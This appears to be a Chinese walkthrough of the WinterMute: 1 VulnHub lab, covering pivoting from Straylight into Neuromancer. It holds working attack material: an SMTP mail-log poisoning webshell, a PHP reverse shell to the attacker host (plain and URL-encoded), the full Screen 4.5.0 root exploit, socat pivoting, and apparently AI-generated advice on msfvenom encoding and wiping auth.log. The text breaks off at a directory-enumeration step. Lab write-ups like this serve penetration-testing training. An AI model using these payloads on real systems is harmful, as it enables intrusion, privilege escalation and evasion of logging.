当前位置: 首页 > news >正文

内网综合渗透测试——WinterMute: 1靶场

靶场来源 <WinterMute: 1 ~ VulnHub>

Wintermute 虚拟机网络配置指南

本实验涉及网络跳转技术,需正确配置VirtualBox网络。所有IP均为动态分配,配置快速简便。

通过"文件 >> 导入虚拟设备"导入各虚拟机。

STRAYLIGHT (网络#1 和 #2)

  • 首台需要获取root权限的主机,需配置双网卡
  • 适配器1
    • 类型选择 仅主机(Host-only)适配器
    • 指定 VirtualBox 仅主机以太网适配器 #1
      高级设置(需要两个独立网络的网卡)
    • 适配器类型 - Intel PRO/1000 T 服务器版
  • 适配器2
    • 类型选择 仅主机(Host-only)适配器
    • 指定 VirtualBox 仅主机以太网适配器 #2
      高级设置
    • 适配器类型 - Intel PRO/1000 MT 桌面版(需与网络#1类型不同)

NEUROMANCER (网络#2)

  • 最终需要攻破的目标机,单网卡配置。只能通过Straylight的第二个网络访问
  • 适配器1
    • 类型选择 仅主机(Host-only)适配器
    • 指定 VirtualBox 仅主机以太网适配器 #2
      高级设置
    • 适配器类型 - Intel PRO/1000 MT 桌面版

KALI (网络#1)

  • 攻击机仅连接至Straylight所在的网络#1,可选配NAT
  • 重要:禁止直接从Kali ping通Neuromancer,否则视为作弊
  • 适配器1
    • 类型选择 仅主机(Host-only)适配器
    • 指定 VirtualBox 仅主机以太网适配器 #1

技术要点解析:

  1. 网络隔离设计
    • 网络#1(适配器#1):Kali攻击机与Straylight的第一网卡处于此网络
    • 网络#2(适配器#2):Straylight的第二网卡与Neuromancer组成隔离网络
  2. 安全验证机制
    • 通过不同的适配器类型(PRO/1000 T Server vs MT Desktop)实现物理层隔离
    • 双网卡配置强制要求使用网络跳转技术进行横向移动
  3. 渗透测试路径
    Kali → 网络#1 → Straylight → 网络#2 → Neuromancer
  4. 配置验证方法
    • 在Kali中使用arp-scan应只能发现Straylight
    • 通过Straylight作为跳板机才能访问Neuromancer服务

注:VirtualBox需提前创建两个Host-Only网络适配器(管理 → 主机网络管理器)

靶场环境搭建:

        192.168.31.0/24                  192.168.56.0/24

 kali <---------------> straylight <---------------> neuromancer

 31.250                        31.246/56.60                       56.61

kali设置为桥接模式(VMware虚拟机)

straylight增加一块网卡,网卡一设置为桥接模式,网卡二设置为NAT模式(Virtualbox虚拟机)

neuromancer设置为NAT模式(Virtualbox虚拟机)

winterMute第一部分:外围打点

总结:
1.弱口令
2.本地文件包含漏洞
3.nc -nv发送恶意邮件写shell
4.构造命令执行漏洞,反弹shell
5.Screen 4.5.0本地提权
6.用(sed -i -e ‘s/\r$//‘)将exp换行和缩进和格式变得可执行

1,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.31.0/24

那么攻击机IP为192.168.23.250,靶场IP192.168.31.244

2,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.31.244

关键端口服务解析(deepseek生成)

  1. 25/tcp - SMTP服务 (Postfix)
    • 安全风险
      • VRFY命令开放:允许攻击者枚举有效用户(如:VRFY root)
      • ETRN命令可能导致邮件中继攻击
      • 自签名SSL证书(有效期2018-2028):可能存在中间人攻击风险
    • 利用建议
      # 用户枚举测试
      smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.31.244
      # 中继测试
      swaks --to target@example.com --server 192.168.31.244
  2. 80/tcp - Apache HTTP服务 (2.4.25)
    • 安全风险
      • Apache 2.4.25存在历史漏洞:
        • CVE-2017-15715 (路径遍历)
        • CVE-2021-40438 (mod_proxy SSRF)
      • "Night City"页面可能包含隐藏路径或框架漏洞
    • 利用建议
      # 目录爆破
      gobuster dir -u http://192.168.31.244 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      # 检查PHP版本
      curl -I http://192.168.31.244/index.php
  3. 3000/tcp - ntopng服务
    • 安全风险
      • 默认凭证admin:admin可能未修改
      • CVE-2021-28073 (XSS漏洞)
      • XML解析错误提示可能暗示XXE漏洞
    • 利用建议
      # 尝试默认登录
      curl -X POST http://192.168.31.244:3000/lua/login.lua --data "username=admin&password=admin"
      # XXE探测
      curl -X POST http://192.168.31.244:3000/evox/about --data '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'

操作系统指纹分析

  • 内核版本:Linux 3.2-4.9 (可能为Debian 9 Stretch)
  • 潜在漏洞
    • Dirty COW (CVE-2016-5195)
    • Sudo提权漏洞 (CVE-2021-3156)
      # Dirty COW检测
      dmesg | grep "Linux version"
      # Sudo漏洞检测
      sudo --version | grep "1.8"

横向移动路径规划

  1. 第一阶段:立足点获取
    • 通过Web漏洞上传Webshell:
      <?php system($_GET['cmd']); ?>
    • 利用SMTP中继获取内部邮件凭证
  2. 第二阶段:权限提升
    • 查找SUID文件:
      find / -perm -4000 2>/dev/null
    • 检查crontab任务:
      crontab -l
  3. 第三阶段:网络跳板部署
    • 建立SSH动态转发:
      ssh -D 1080 user@straylight
    • 配置Proxychains访问Neuromancer网络:
      echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
      proxychains nmap -sT -Pn 192.168.31.0/24

防御规避建议

  1. 流量伪装
    # 使用Metasploit编码器
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.2 LPORT=443 -e x86/shikata_ga_nai -f elf > payload.elf
  2. 日志清理
    # 清除auth.log记录
    sed -i '/192.168.31.2/d' /var/log/auth.log

漏洞验证优先级

漏洞类型

风险等级

验证复杂度

优先级

SMTP用户枚举

★★★☆

Apache RCE

★★★★☆

ntopng认证绕过

★★★★☆

XXE漏洞

★★☆☆

通过系统化的攻击链构建,可逐步突破Straylight的防御体系,最终实现网络#2的渗透目标。建议优先验证Web服务和ntopng的漏洞入口。

3,然后访问一下80端口开启的http服务

这个页面没有什么用,对其网站后台目录进行爆破

dirsearch -u http://192.168.31.244 -x 404,403

上述扫描结果不够理想,再使用gobuster进行扫描

gobuster dir -u http://192.168.31.244 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt

重启之后IP变成了192.168.31.246

dirsearch -u http://192.168.31.246/manual -x 404,403

访问:http://192.168.31.246/manual/style/

4,再访问192.168.31.246:3000,存在一个ntopng服务
ntopng 是一个基于 Web 的网络流量监控和分析工具,用于实时监控网络流量、协议分布、设备活动等。它的默认配置中确实可能使用 3000 端口(HTTP 服务)和 3001 端口(HTTPS 服务)。

下面有一行小字提示用户名和密码都是admin,使用弱密码成功登录

详细介绍ntopng

ntopng 是一款基于 Web 的网络流量监控与分析工具,其核心功能通过浏览器访问的 Web 界面实

现。以下是其使用流程和核心功能的详细说明:

一、登录与初始化设置

  1. 访问 Web 界面
    • 安装并启动 ntopng 后,通过浏览器访问 http://<服务器IP>:3000(默认端口为 3000,若配置修改则需对应调整)248
    • 首次登录使用默认账号 admin 和密码 admin,系统会强制要求修改密码47
  2. 基础配置
    • 监听接口:在配置文件(/etc/ntopng/ntopng.conf)中指定监听的网络接口(如 --interface=eth0)和本地网段(如 --local-network "192.168.1.0/24")410
    • 端口修改:若需调整 Web 端口,可通过 --http-port=8080 配置412

二、主界面功能模块

ntopng 的 Web 界面分为多个核心模块,提供实时和历史流量分析:

  1. Dashboard(仪表盘)
    • 实时流量概览:显示当前网络的总流量、活跃主机、协议分布等,支持按时间范围(如5分钟、1小时)动态刷新37
    • Top Talkers:列出流量最高的发送/接收主机或应用,帮助快速识别异常流量27
  2. Flows(流量分析)
    • 实时流量详情:展示每个流的源/目的 IP、端口、协议类型(如 TCP/UDP)、吞吐量等,支持按协议或应用过滤37
    • 深度包检测(DPI):基于 nDPI 技术识别具体应用协议(如 HTTP、BitTorrent、Zoom)712
  3. Hosts(主机监控)
    • 主机列表:显示所有活跃主机的 IP、MAC 地址、流量统计及地理位置(需启用 GeoIP 数据库)46
    • 主机详情:点击 IP 可查看主机的流量趋势、通信对端、协议分布及历史活动37
  4. Interfaces(接口监控)
    • 分析指定网络接口的流量负载、数据包分布(如包大小、协议占比)及历史趋势图47
  5. Protocols(协议分析)
    • 按协议类型(如 HTTP、DNS、ICMP)统计流量占比,支持饼状图或时间序列图展示47

三、高级功能与配置

  1. 历史数据与报告
    • 数据存储:支持将流量数据持久化到 MySQL、ElasticSearch 等数据库,便于长期分析47
    • 自定义报告:可生成按小时、天、周为单位的流量报告,涵盖协议分布、主机排名等712
  2. 告警管理
    • 告警规则:在配置文件中启用异常检测(如 DDoS 攻击、带宽超限),触发后通过 Web 界面或邮件通知412
    • SNMP 集成:支持监控网络设备的 SNMP 数据,扩展流量分析范围712
  3. 用户与权限管理
    • 多用户支持:可创建不同权限级别的用户(如管理员、只读用户),并集成 LDAP/SSO 认证712
    • 访问控制:通过防火墙规则限制 Web 端口的访问来源(如仅允许内网 IP)58

四、安全与优化建议

  1. 安全加固
    • 修改默认密码,避免使用弱密码48
    • 启用 HTTPS(端口 3001)并配置 SSL 证书,防止数据窃听45
    • 通过反向代理(如 Nginx)隐藏端口并增强访问控制58
  2. 性能优化
    • 对高流量网络,启用 PF_RING 或 ZC 驱动提升抓包效率412
    • 调整日志级别(如 --log-level=3)以减少磁盘 I/O 压力410

五、常见使用场景

  1. 故障排查:通过实时流量分析定位带宽拥塞源或异常主机37
  2. 安全监控:检测 DDoS 攻击、端口扫描或未经授权的协议使用512
  3. 网络优化:分析应用协议占比,优化 QoS 策略或带宽分配712

5,在FLOWS模块下记录访问目录

根据这个提示访问/turing-bolo/

Villa Straylight BOLO列表

Villa Straylight中的最新安全威胁列表

选择列表中的某个人查看他们的自定义活动日志 - 由Turing警察更新

6,选择case然后submit提交

以?bolo=case拼接提交URL参数,存在文件包含

然后构造语句测试一下,payload ../turing-bolo/molly

成功在原case网页包含molly网页,推断存在本地文件包含,没有远程文件包含

7,已知服务器存在邮件服务,且一个网页存在本地文件包含漏洞。利用思路如下:我们用smtp发邮件,将发件人或收件人写为木马,之后在利用LFI漏洞将mail包含到PHP界面,这样就可以执行木马,获得shell

SMTP协议潜在缺陷、LFI漏洞、PHP代码执行),属于高危攻击链。以下是从安全研究角度对原理的分析及防御建议:

攻击流程拆解

  1. SMTP 注入构造恶意邮件
    • 攻击目标:通过构造特殊的发件人/收件人字段,将恶意代码(如PHP木马)注入邮件头或正文。
    • 实现条件
      • SMTP服务器未严格过滤CRLF(\r\n)或特殊字符(如<?php ?>)。
      • 邮件存储路径可预测(如/var/mail/user),且攻击者能通过LFI漏洞包含该文件。
  2. 利用LFI漏洞包含邮件文件
    • 路径遍历:通过PHP的本地文件包含漏洞(如include($_GET['file']);),加载包含恶意代码的邮件文件(如/var/mail/admin)。
    • 触发PHP解析:若邮件内容被PHP解释器执行,嵌入的恶意代码即可运行。
  3. 获取Shell
    • 代码执行:成功执行木马代码后,攻击者可能通过WebShell连接工具(如蚁剑、冰蝎)获取系统权限。

技术细节与限制

  1. 邮件内容中嵌入PHP代码的可行性
    • 编码问题:邮件通常使用MIME编码,特殊字符(如< >)可能被转义,需绕过过滤。
    • PHP标签闭合:邮件正文可能包含其他内容,需确保<?php ... ?>标签完整且不被干扰。
  2. LFI漏洞利用条件
    • 文件路径已知:需精准猜测或获取邮件存储路径(如默认邮箱位置)。
    • PHP配置允许:allow_url_include需开启(默认关闭),且open_basedir未限制访问。
  3. 防御机制绕过
    • WAF/IDS检测:恶意代码可能被安全设备拦截,需使用混淆技术(如Base64编码、异或加密)。

防御方案

1. 加固SMTP服务

  • 输入过滤:严格校验邮件头字段,禁止CRLF注入和特殊字符(如< > ?)。
  • 邮件存储隔离:将用户邮件存储在非Web目录(如/var/vmail),避免被LFI直接包含。

2. 修复LFI漏洞

  • 禁用动态包含:避免使用用户输入直接包含文件(如include($_GET['file']))。
  • 白名单限制:若必须动态包含,则校验文件路径是否在允许列表内(如allowed_files = ['page1.php', 'page2.php'])。

3. PHP安全配置

  • 关闭危险函数:在php.ini中设置disable_functions = exec,system,passthru,...。
  • 限制文件包含:设置allow_url_include = Off,open_basedir限制PHP可访问目录。

4. 监控与日志审计

  • 异常邮件检测:监控SMTP日志中异常的发件人/收件人格式。
  • 文件包含告警:通过WAF或HIDS检测../、/var/mail等敏感路径的访问行为。

模拟攻击测试(仅限授权环境)

// 漏洞示例:存在LFI的PHP代码(danger.php)
$file = $_GET['file'];
include($file);

  1. 发送恶意邮件
    # 使用telnet手动构造SMTP请求
    telnet target-smtp-server 25
    MAIL FROM:<<?php system($_GET['cmd']); ?>>@example.com
    RCPT TO:admin@target.com
    DATA
    Subject: Test Exploit
    X-Header: <?php echo 'Vulnerable!'; ?>
    .
  2. 触发LFI执行代码
    访问URL:http://target.com/danger.php?file=/var/mail/admin&cmd=id
    • 若成功,页面可能返回命令执行结果(如uid=33(www-data))。

总结

此类攻击依赖多环节漏洞的配合,实际利用难度较高,但一旦成功危害极大。管理员应通过最小化服务暴露严格输入过滤权限隔离等措施加固系统,同时定期进行渗透测试与代码审计。开

发者需遵循安全编码规范,避免动态文件包含等高风险操作。

nc -nv 192.168.31.246 25

HELO ROOT                #向服务器标识用户身份

MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>" #MAIL FROM:发件人

RCPT TO:ROOT        #RCPT TO:收件人

data                #开始编辑邮件内容

.                #输入点代表编辑结束

PHP代码命令注入漏洞代码功能解析:

  1. 接收外部参数
    通过$_GET['cmd']获取用户以GET方式传递的cmd参数的值。例如访问URL:
    http://example.com/script.php?cmd=ls,cmd的值为ls。
  2. 执行系统命令
    使用shell_exec()函数执行cmd参数传递的命令。shell_exec()会调用系统Shell执行命令,并返回命令的标准输出结果。
  3. 输出结果
    echo将命令执行结果直接输出到网页中,用户可见

8,然后通过本地文件包含漏洞构造出出现在网站URL当中的PHP代码执行漏洞

http://192.168.31.246/turing-bolo/bolo.php?bolo=../../../../../../../../../var/log/mail&cmd=ls

回显出现在73行之后

9,然后通过这个命令执行漏洞写PHP反弹shell的命令(为了更加简便直观这里使用burpsuite的repteater模块/decoder模块进行攻击)

php -r '$sock=fsockopen("192.168.31.250",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%33%31%2e%32%35%30%22%2c%34%34%34%34%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27%0a

与此同时kali要打开对4444端口的监听,执行php代码之后可以看到成功的反弹shell

10,查看有无python环境,如果有则通过pty模块开启一个可交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

在靶场信息收集

uname -a    打印所有可用的系统信息

uname -r    内核版本

uname -n    系统主机名。

uname -m    查看系统内核架构(64位/32位)

hostname    系统主机名

cat /proc/version    内核信息

cat /etc/*-release   分发信息

cat /etc/issue       分发信息

cat /proc/cpuinfo    CPU信息

cat /etc/lsb-release # Debian

cat /etc/redhat-release # Redhat

ls /boot | grep vmlinuz-

11,查看能不能suid提权
find / -perm -u=s -type f 2>/dev/null

/bin/screen-4.5.0 是 GNU Screen 工具的二进制可执行文件,版本号为 4.5.0。

  • GNU Screen 是一个终端复用工具,允许用户在一个终端窗口中同时管理多个会话(如分离、重连会话等)。
  • SUID权限:该文件设置了 SUID 权限(通过 find / -perm -u=s 发现),意味着执行该程序时会以文件所有者(通常是 root)的权限运行,可能存在提权风险。

12,因为知道了这个工具的版本,那么就可以通过searchsploit检索这个版本的公开exp

把41154.sh文件转储出来

13,kali攻击机开启http服务,然后操控靶机从攻击机上下载41154.sh脚本

python -m http.server

wget http://192.168.31.250:8000/41154.sh

14,直接执行脚本失败,还需要对脚本格式进行转换,并且赋予执行权限

sed -i -e 's/\r$//' 41154.sh

用于删除文件中的 Windows 换行符(\r),确保脚本在 Unix/Linux 系统上正常执行。以下是详细解析:

1. 命令作用

  • sed -i
    -i 表示直接修改文件(in-place edit),而不是输出到终端。
    注意:此操作会覆盖原文件,建议提前备份(如 cp 41154.sh 41154.sh.bak)。
  • s/\r$//
    这是一个正则表达式替换命令:
    • s/:表示替换操作。
    • \r$:匹配行尾的 Windows 回车符(Carriage Return, \r)。
    • //:替换为空(即删除 \r)。
    • 效果:将 Windows 格式的换行符(\r\n)转换为 Unix 格式的换行符(\n)。

chmod u+x 41154.sh

然后再执行脚本,成功提权

/root目录下读取flag.txt

然后还存在note.txt提示信息

开发团队,

3Jane 女士要求我们在 Neuromancer 的主服务器上创建一个自定义的 Java 应用,以帮助她与基于 AIb 的 GUI 进行交互。

工程团队特别强调了这项工作的风险,因为这将把超级人工智能暴露给 Freesik 的远程访问。虽然它位于我们的内部管理网络,但即便如此,仍然应该完全与网络隔离。为了安全起见,用户访问应该仅限于通过物理控制台进行……谁知道这个东西会做出什么。

总之,我们已经按照要求在 Tomcat 上部署了 war 文件,位置如下:

/struts2_2.3.15.1-showcase

它已经准备好供开发人员按她的要求进行定制……我知道这很显而易见,但务必要确保它的安全性。

此致,

Bob Laugh

Turing 系统工程师 II

Freeside//Straylight//Ops5

解读提权代码

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: [screen-devel] [bug #50142] root exploit 4.5.0

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

#include <stdio.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh", NULL, NULL);

}

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell   

代码解读与提权原理分析

该脚本利用了 GNU Screen v4.5.0 的 SUID 提权漏洞(CVE-2017-5618),通过篡改 /etc/ld.so.preload 文件加载恶意动态库,最终获取 root 权限。以下是逐段解析:

1. 生成恶意动态库 libhax.so

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);    # 修改 rootshell 所有者为 root
    chmod("/tmp/rootshell", 04755);   # 设置 SUID 权限(rwsr-xr-x)
    unlink("/etc/ld.so.preload");     # 删除 ld.so.preload 避免后续检测
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

  • 关键点
    • __attribute__ ((__constructor__)) 表示 dropshell 函数在库加载时自动执行。
    • 动态库的作用是修改 /tmp/rootshell 的权限为 SUID root,为后续提权做准备。

2. 生成提权后门程序 rootshell

cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);    # 设置进程 UID 为 root
    setgid(0);    # 设置进程 GID 为 root
    seteuid(0);  
    setegid(0);
    execvp("/bin/sh", NULL, NULL);  # 启动 shell
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c

  • 关键点
    • 编译生成的 rootshell 初始权限为普通用户,需通过 libhax.so 赋予其 SUID root 权限。

3. 利用 Screen 漏洞篡改 /etc/ld.so.preload

cd /etc
umask 000  # 设置文件权限掩码为 0(允许所有权限)
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

  • 漏洞触发
    • -L 参数:启用日志功能,尝试在 /etc 目录下创建日志文件 ld.so.preload。
    • SUID 权限滥用:由于 screen 是 SUID root 程序,普通用户可通过此操作以 root 权限向 /etc/ld.so.preload 写入内容。
    • 写入内容:\x0a 是换行符(\n),加上 /tmp/libhax.so,使系统在运行程序时预加载恶意库。

4. 触发动态库加载并获取 Root Shell

screen -ls    # 触发任意 Screen 操作,加载 ld.so.preload
/tmp/rootshell  # 执行 SUID root 的 Shell

  • 动态链接器行为
    • 当执行 screen -ls 时,系统读取 /etc/ld.so.preload,加载 /tmp/libhax.so。
    • dropshell 函数自动执行,将 /tmp/rootshell 设为 SUID root。
    • 执行 /tmp/rootshell 时,由于其 SUID 权限,进程以 root 身份启动,获得完整权限。

漏洞核心原理(CVE-2017-5618)

  1. SUID 程序的日志路径控制
    • Screen 在启用日志(-L)时未正确校验路径,允许用户指定系统目录(如 /etc)。
    • 普通用户可通过 -L 参数创建或覆盖 /etc/ld.so.preload。
  2. ld.so.preload 的滥用
    • 该文件指定预加载的动态库,以 root 权限写入后,所有后续动态链接程序均会加载恶意库。
    • 恶意库的构造函数在特权上下文中执行,实现权限提升。

winterMute第二部分:内网渗透

1,成功的控制了连接内网外网的靶机,接下来就是做内网的信息收集

查看arp表以得到内网靶场的IP

python -c 'import pty;pty.spawn("/bin/bash")'

arp -a

可以看到enp0s3对应着192.168.31.0/24;enp0s8对应着192.168.56.0/24

ifconfig查看本机IP地址

印证了上面的说法,并且由此猜测内网靶场的IP地址为192.168.56.60

2,还可以写一个shell脚本对目标进行扫描

for i in $(seq 1 255); do if ping -c 1 -w 1 192.168.56.$i&>/dev/null; then echo "192.168.56.$i";  fi ; done

1. 循环遍历IP地址范围

for i in $(seq 1 255); do

  • 作用
    使用seq 1 255生成1到255的整数序列,遍历每个数字赋值给变量i。
  • 目标IP段
    组合成完整的IPv4地址192.168.56.$i(即192.168.56.1到192.168.56.255)。

2. 执行Ping探测

if ping -c 1 -w 1 192.168.56.$i &>/dev/null; then

  • 参数解析
    • -c 1:发送1个ICMP请求包。
    • -w 1:等待响应超时时间为1秒。
    • &>/dev/null:将命令的标准输出和错误输出重定向到黑洞设备(不显示任何信息)。
  • 逻辑判断
    • 若ping命令成功(目标IP在线并返回响应),则条件为真(if成立)。
    • 若超时或无响应(目标IP离线),则跳过后续操作。

3. 输出在线的IP地址

echo "192.168.56.$i"

  • 作用
    仅当ping成功时,输出当前检测到的在线IP地址到终端。

脚本完整功能总结:

  • 用途
    扫描局域网192.168.56.0/24子网中所有可能的IP地址(共255个),快速检测哪些主机在线。
  • 输出
    直接列出所有响应ping请求的活跃IP地址。

使用后台进程并行执行ping,缩短总时间:

for i in {1..255}; do
    (ping -c 1 -W 1 192.168.56.$i >/dev/null && echo "192.168.56.$i") &
done | sort -n
wait

3,使用shell脚本对靶场开放的端口进行扫描(优化后)

seq 1 65535 | xargs -P 100 -I{} sh -c 'nc -nvz -w 1 192.168.56.60 {} 2>&1 | grep -v "Connection refused"'

  • seq 1 65535
    • 生成一个从 1 到 65535 的数字序列,每个数字代表一个端口号。
  • xargs -P 100 -I{}
    • xargs 用于并行执行命令。
    • -P 100:表示最多可以并行执行 100 个进程。这个参数控制并发的数量,优化了扫描的速度。
    • -I{}:{} 是一个占位符,表示每次传递一个端口号,替换到后续命令中。
  • sh -c 'nc -nvz -w 1 192.168.56.60 {} 2>&1 | grep -v "Connection refused"'
    • sh -c 允许执行一个复杂的命令。
    • nc -nvz -w 1 192.168.56.60 {}:使用 nc (netcat) 扫描目标 IP (192.168.56.60) 上的端口 {}。
      • -n:使用数字 IP 地址(避免 DNS 解析)。
      • -v:显示详细输出。
      • -z:扫描端口,但不建立连接。
      • -w 1:超时设置为 1 秒。
    • 2>&1:将标准错误(stderr)重定向到标准输出(stdout),确保捕获到错误信息。
    • | grep -v "Connection refused":过滤掉包含 “Connection refused” 的输出,只保留开放的端口信息。

socat端口重定向

SOcket CAT是一个强大的网络工具,可以实现端口重定向、端口转发、代理和各种复杂的网络通信功能。它可以在不同协议之间进行转换,比如 TCP 和 UDP、Unix 套接字等。

以下是如何使用 socat 实现端口重定向的几个常见示例:

1. TCP 端口重定向

假设你想将本地的端口 8080 转发到远程服务器的端口 80(例如将本地 localhost:8080 的流量转发到 example.com:80):

socat TCP-LISTEN:8080,fork TCP:example.com:80

  • TCP-LISTEN:8080:在本地机器的 8080 端口上监听传入的 TCP 连接。
  • fork:允许 socat 在每次连接时生成新的进程,以便并发处理多个连接。
  • TCP:example.com:80:将接收到的流量转发到 example.com 的 80 端口。

2. UDP 端口重定向

类似于 TCP 端口重定向,但使用 UDP 协议。例如,将本地端口 12345 上的 UDP 流量转发到远程 example.com 的 54321 端口:

socat UDP-LISTEN:12345,fork UDP:example.com:54321

  • UDP-LISTEN:12345:在本地的 12345 端口上监听传入的 UDP 数据包。
  • UDP:example.com:54321:将接收到的数据包转发到远程服务器的 54321 端口。

3. 端口重定向并添加身份验证

**socat** 支持多种安全和身份验证机制。例如,如果你想在转发流量的同时提供 SSH 认证,可以使用 socat 配合 SSH 隧道:

socat TCP-LISTEN:8080,fork EXEC:"ssh -N -L 8080:example.com:80 user@sshserver"

  • EXEC:"ssh -N -L 8080:example.com:80 user@sshserver":通过 SSH 隧道将本地的 8080 端口转发到 example.com:80,并通过 sshserver 进行身份验证。

4. TCP 和 UDP 转发

socat 还可以在 TCP 和 UDP 协议之间进行转发。例如,将 TCP 流量重定向为 UDP 流量:

socat UDP-LISTEN:12345,fork TCP:example.com:80

  • UDP-LISTEN:12345:在本地机器上监听 UDP 流量。
  • TCP:example.com:80:将该 UDP 流量转发到远程服务器的 TCP 端口 80。

5. 本地端口到远程端口的透明代理

假设你想将本地端口 8080 的流量透明地代理到远程 example.com:80,并在本地机器和远程服务器之间传递所有数据(包括 HTTP 请求和响应)。可以这样做:

socat TCP-LISTEN:8080,reuseaddr,fork TCP:example.com:80

  • reuseaddr:允许重新绑定相同端口。
  • fork:在每个连接时生成一个新的进程。

6. 反向端口重定向

如果你希望反向端口重定向,即让远程主机的端口连接到本地机器上的端口,可以使用 socat 设置反向连接:

socat TCP-LISTEN:8080,fork TCP:localhost:80

  • TCP-LISTEN:8080:在本地监听 8080 端口。
  • TCP:localhost:80:将流量转发到本地的 80 端口。

7. 本地端口重定向到 UNIX 域套接字

socat 还可以将流量从一个端口转发到 UNIX 域套接字。例如,假设你有一个在 UNIX 套接字上监听的进程(如 MySQL),可以这样做:

socat TCP-LISTEN:3306,fork UNIX-CONNECT:/var/run/mysql.sock

  • UNIX-CONNECT:/var/run/mysql.sock:将流量从 TCP 转发到 UNIX 域套接字 /var/run/mysql.sock。

4,现在需要kali攻击机通过被控主机以某种方式访问到内网靶机。这里使用linux中socat进行重定向(如果有问题首先要清空已经设置的socat

socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.56.60:8009 &

socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.56.60:8080 &

socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.56.60:34483 &

  • TCP4-LISTEN:34483:监听本地 34483 端口,接收传入的连接。
  • reuseaddr:允许地址重用。
  • fork:每次接受一个连接时生成新的进程。
  • TCP4:192.168.56.60:34483:将本地端口 34483 的流量转发到远程服务器 192.168.56.60 上的 34483 端口。
  • &:在后台执行命令。

在被控主机的终端处一直能看到端口转发信息

清除socat方法:

1. 查找并停止 socat 进程

你可以使用 ps 命令来查找当前所有的 socat 进程,并用 kill 命令停止它们。

ps aux | grep socat

该命令会列出所有包含 socat 的进程。输出可能类似于:

user    12345  0.0  0.1  123456  1234 ?        S    10:00   0:00 socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.56.60:8009
user    12346  0.0  0.1  123456  1234 ?        S    10:00   0:00 socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.56.60:8080
user    12347  0.0  0.1  123456  1234 ?        S    10:00   0:00 socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.56.60:34483

接下来,你可以通过 kill 命令停止这些进程:

kill 12345 12346 12347

2. 强制终止 socat 进程

如果 kill 命令没有生效(例如进程没有响应),你可以使用 kill -9 强制终止:

kill -9 12345 12346 12347

3. 验证进程是否已停止

再次运行 ps aux | grep socat,确认 socat 进程已经不再存在。

5,成功设置端口转发之后,再使用nmap对知道端口做信息收集

nmap -sT -sC -sV -O -p 34483,8080,8009 192.168.31.246

  • 端口 8009/tcp
    • 状态:open,表示该端口处于开放状态。
    • 服务:ajp13(Apache JServ Protocol 1.3),该协议通常用于 Apache Tomcat 和其他应用服务器之间的通信。
    • 版本:Apache Jserv 1.3。
    • 额外信息:ajp-methods: Failed to get a valid response for the OPTION request 表示在尝试对该端口发送 OPTION 请求时,未能获得有效响应,这可能意味着该服务未正确配置或不响应该类型的请求。
  • 端口 8080/tcp
    • 状态:open,该端口也处于开放状态。
    • 服务:http,该端口通常用于 Web 服务。
    • 版本:Apache Tomcat 9.0.0.M26,这是一个较旧版本的 Apache Tomcat 服务器。
    • 额外信息
      • http-title:Apache Tomcat/9.0.0.M26,表示该端口提供的是 Apache Tomcat Web 服务器。
      • http-favicon:扫描发现该服务的图标为 Apache Tomcat 的默认图标。
  • 端口 34483/tcp
    • 状态:open,该端口处于开放状态。
    • 服务:ssh,SSH(Secure Shell)协议通常用于远程安全访问。
    • 版本:OpenSSH 7.2p2,这是一个较老版本的 OpenSSH 服务,通常运行在 Linux 系统中。
    • 额外信息
      • SSH 主机密钥:提供了该 SSH 服务的 RSA、ECDSA 和 ED25519 公钥,供进一步验证使用。
      • SSH 主机密钥指纹:显示了 RSA、ECDSA 和 ED25519 密钥的指纹(分别用于验证 SSH 连接的安全性)

6,访问8080端口开放的http服务

然后对这个网站进行网站指纹识别扫描

whatweb -v http://192.168.31.246:8080  

没有什么有用信息

7,然后对对网站进行子目录枚举扫描

